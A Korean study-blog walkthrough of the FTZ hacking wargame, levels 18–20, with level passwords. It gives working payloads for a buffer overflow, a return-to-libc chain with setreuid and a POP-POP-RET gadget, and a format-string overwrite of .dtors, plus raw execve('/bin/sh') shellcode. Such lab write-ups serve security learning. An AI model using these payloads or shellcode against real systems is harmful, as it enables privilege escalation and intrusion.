▣ Level18 - password : why did you do it
1. 소스코드 분석
2. 'attackme' gdb 분석
3. 스택 구조 그림
- 버퍼의 위치가 높은 주소에 있음 → 기존 방식으로 BoF 실시 불가능
4. BoF
ⓐ BoF 공격
- switch 문의 default 내용을 보면, count 값은 string에 배열로 사용한다.
- 그래서, 'case 0x08'에 의해서 '0x08'을 4번 입력하면, count 값이 '-4'가 된다.
- 그럼, 'string-4' 주소 위치인 check에 '0xdeadbeef'를 삽입 가능
[attackme 소스 코드 중 일부..]
ⓑ '0xdeadbeef' → 리틀 엔디안 방식으로 변경
===========================================
0xdeadbeef \xef\xbe\xad\xde
===========================================
ⓒ 페이로드 제작
─────────────────
"0x08"*4 + "\xef\xbe\xad\xde"
─────────────────
→ (python -c 'print("\x08"*4 + "\xef\xbe\xad\xde")';cat) | ./attackme
[level18@ftz level18]$ (python -c 'print("\x08"*4 + "\xef\xbe\xad\xde")';cat) | ./attackme
▣ Level19 - password : swimming in pink
1. 소스코드 분석
[level19@ftz level19]$ cat hint
→ 기존 문제와 다르게 setreuid 함수와 system 함수가 없다.
2. 'attackme' gdb 분석
[level19@ftz level19]$ cp attackme tmp
[level19@ftz level19]$ cd tmp
[level19@ftz tmp]$ gdb -q attackme
(gdb) disas main
─────────────────────────────────
Dump of assembler code for function main:
0x08048440 <+0>: push %ebp
0x08048441 <+1>: mov %esp,%ebp
→ 함수 프롤로그
0x08048443 <+3>: sub $0x28,%esp
→ esp에서 0x28(40byte)만큼 공간 확보
0x08048446 <+6>: sub $0xc,%esp
→ esp에서 0xc(12byte)만큼 공간 확보
0x08048449 <+9>: lea -0x28(%ebp),%eax
→ [ebp-0x28(40)]의 주소값을 eax에 대입
([ebp-0x28(40)]은 buf의 시작 주소)
0x0804844c <+12>: push %eax
→ eax 값을 스택에 Push
0x0804844d <+13>: call 0x80482f4 <gets@plt>
→ gets 함수 호출
0x08048452 <+18>: add $0x10,%esp
→ esp에서 0x10(16byte)만큼 공간 제거
0x08048455 <+21>: sub $0x8,%esp
→ esp에서 0x8(8byte)만큼 공간 확보
0x08048458 <+24>: lea -0x28(%ebp),%eax
→ [ebp-0x28(40)]의 주소값을 eax에 대입
0x0804845b <+27>: push %eax
→ eax값을 스택에 Push
0x0804845c <+28>: push $0x80484d8
→ $0x80484d8'의 값을 스택에 Push
$0x80484d8의 값 : "%s\n"
0x08048461 <+33>: call 0x8048324 <printf@plt>
→ printf 함수 호출
0x08048466 <+38>: add $0x10,%esp
→ esp에서 0x10(16byte)만큼 공간 제거
0x08048469 <+41>: leave
0x0804846a <+42>: ret
→ 함수 에필로그
End of assembler dump.
─────────────────────────────────
3. 스택 구조 그림
4. BoF 공격 사전 준비
- system 함수 주소 찾는다.
- '/bin/sh' 문자열 주소를 찾는다.
- setreuid 함수 주소를 찾는다.
- 다음 레벨 UID/GID를 확인한다.
- PPR 코드(POP-POP-RET)를 찾는다.
ⓐ system 함수 주소 찾기
[level19@ftz tmp]$ gdb -q attackme
(gdb) b *main
(gdb) run
(gdb) print system
ⓑ '/bin/sh' 문자열 주소 찾기
[level19@ftz tmp]$ vi shell.c
[level19@ftz tmp]$ gcc -o shell shell.c
[level19@ftz tmp]$ ./shell
ⓒ setreuid 함수 주소 찾기
[level19@ftz tmp]$ gdb -q attackme
(gdb) b *main
(gdb) run
(gdb) print setreuid
ⓓ 다음 레벨 UID/GID 확인
[level19@ftz tmp]$ cat /etc/passwd | grep level20
ⓔ PPR 코드(POP-POP-RET) 찾기
[level19@ftz tmp]$ objdump -d attackme | egrep "pop|ret"
→ PPR 코드 : 0x0804849d
5. BoF 공격
ⓐ BoF 공격 구조
- 권한 상승 → 인자값 입력 → system 함수 → /bin/sh
ⓑ system 함수 주소 & /bin/sh 주소 … → 리틀 엔디안 방식으로 변경
-----------------------------------------------------------------------------
· system 함수 0x4203f2c0 \xc0\xf2\x03\x42
· /bin/sh 0x42127ea4 \xa4\x7e\x12\x42
· setreuid 함수 0x420d7920 \x20\x79\x0d\x42
· PPR 0x0804849d \x9d\x84\x04\x08
· UID/GID 0x0c1c \x1c\x0c\x00\x00
-----------------------------------------------------------------------------
ⓒ 페이로드 제작
────────────────────────────────────────────
"a"*44 + "\x20\x79\x0d\x42"+ "\x9d\x84\x04\x08" + "\x1c\x0c\x00\x00" + "\x1c\x0c\x00\x00" + "\xc0\xf2\x03\x42" + "aaaa" + "\xa4\x7e\x12\x42"
────────────────────────────────────────────
[level19@ftz tmp]$ cd
[level19@ftz level19]$ (python -c 'print("a"*44 + "\x20\x79\x0d\x42"+ "\x9d\x84\x04\x08" + "\x1c\x0c\x00\x00" + "\x1c\x0c\x00\x00" + "\xc0\xf2\x03\x42" + "aaaa" + "\xa4\x7e\x12\x42")';cat) | ./attackme
▣ Level20 - password : we are just regular guys
1. 소스코드 분석
[level20@ftz level20]$ cat hint
2. 'attackme' gdb 분석 → gdb 분석이 X
3. FSB 공격 준비 단계
1) main 함수의 버퍼와 printf 함수의 거리가 몇 Byte 인지 확인한다
→ 12Byte
2) 쉘 코드 주소를 삽입할 리턴 주소 또는 _DTOR_END_(소멸자)를 찾는다
[level20@ftz tmp]$ objdump -s -j .dtors attackme
→ .dtors_end : 0x8049598
3) 쉘 코드를 환경 변수에 등록한 이후 쉘 코드 주소를 찾는다
- 25byte 쉘 코드
- '\x90'는 NOP 코드라 하여 아무 동작을 수행하지 않는다
[level11@ftz level11]$ export SHELLCODE=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")')
[level11@ftz level11]$ env → SHELLCODE 삽입되었는지 확인
[level11@ftz level11]$ cd tmp
[level11@ftz tmp]$ vi shellcode.c
[level11@ftz tmp]$ gcc -o shellcode shellcode.c
[level11@ftz tmp]$ ./shellcode SHELLCODE
4) FSB를 하기 위해 찾은 정보
==============================================
· printf와 버퍼 사이의 거리 12Byte
· _DTOR_END_(소멸자) 주소 0x8049598
· 환경 변수로 등록한 쉘 코드 주소 0xbffffbc3
==============================================
4. FSB 공격을 하기 위한 페이로드 제작
1) SHELLCODE 환경 번수 주소 2byte 단위 생성
-'%n'을 이용하여 해당 주소를 입력할 때 10진수로 입력해야 한다
- 쉘 코드의 환경 변수 주소 값 '0xbffffbc3'은 10진수로 변경하면 '3221224387'되므로 int 범위를 벗어난다
- 그렇기 때문에 환경 변수 주소 '0xbffffbc3'을 2Byte씩 분할해야 한다
- 2byte 씩 분할하면 다음과 같다.
────────────────
쉘 주소 16진수 10진수
------------------------------------------------
· 하위주소 0xfbc3 64451
· 상위 주소 0xbfff 49151
────────────────
2) _DTOR_END_(소멸자) 주소에 환경 변수 2Byte씩 대입
· _DTOR_END_(소멸자) 주소 0x08049598 ~ 0x0804959b
3) 페이로드 제작
"aaaa" + "\x98\x95\x04\x08" + "aaaa" + "\x9a\x95\x04\x08" + "%08x" *3 + "%64411d%n" + %50236d%n"
→ printf 함수와 buf 거리가 12Byte
4) FSB 공격 실시
[level20@ftz level20]$ (python - c 'print("aaaa" + "\x98\x95\x04\x08" + "aaaa" + "\x9a\x95\x04\x08" + "%08x" *3 + "%64411d%n" + "%50236d%n")';cat) | ./attackme
'정보 보안 > 시스템 보안' 카테고리의 다른 글
시스템 보안 Day 17 (0) | 2019.10.19 |
---|---|
시스템 보안 Day 16 (0) | 2019.10.19 |
시스템 보안 Day 15 (0) | 2019.10.17 |
시스템 보안 Day 14 (0) | 2019.10.04 |
시스템 보안 Day 13 (0) | 2019.10.04 |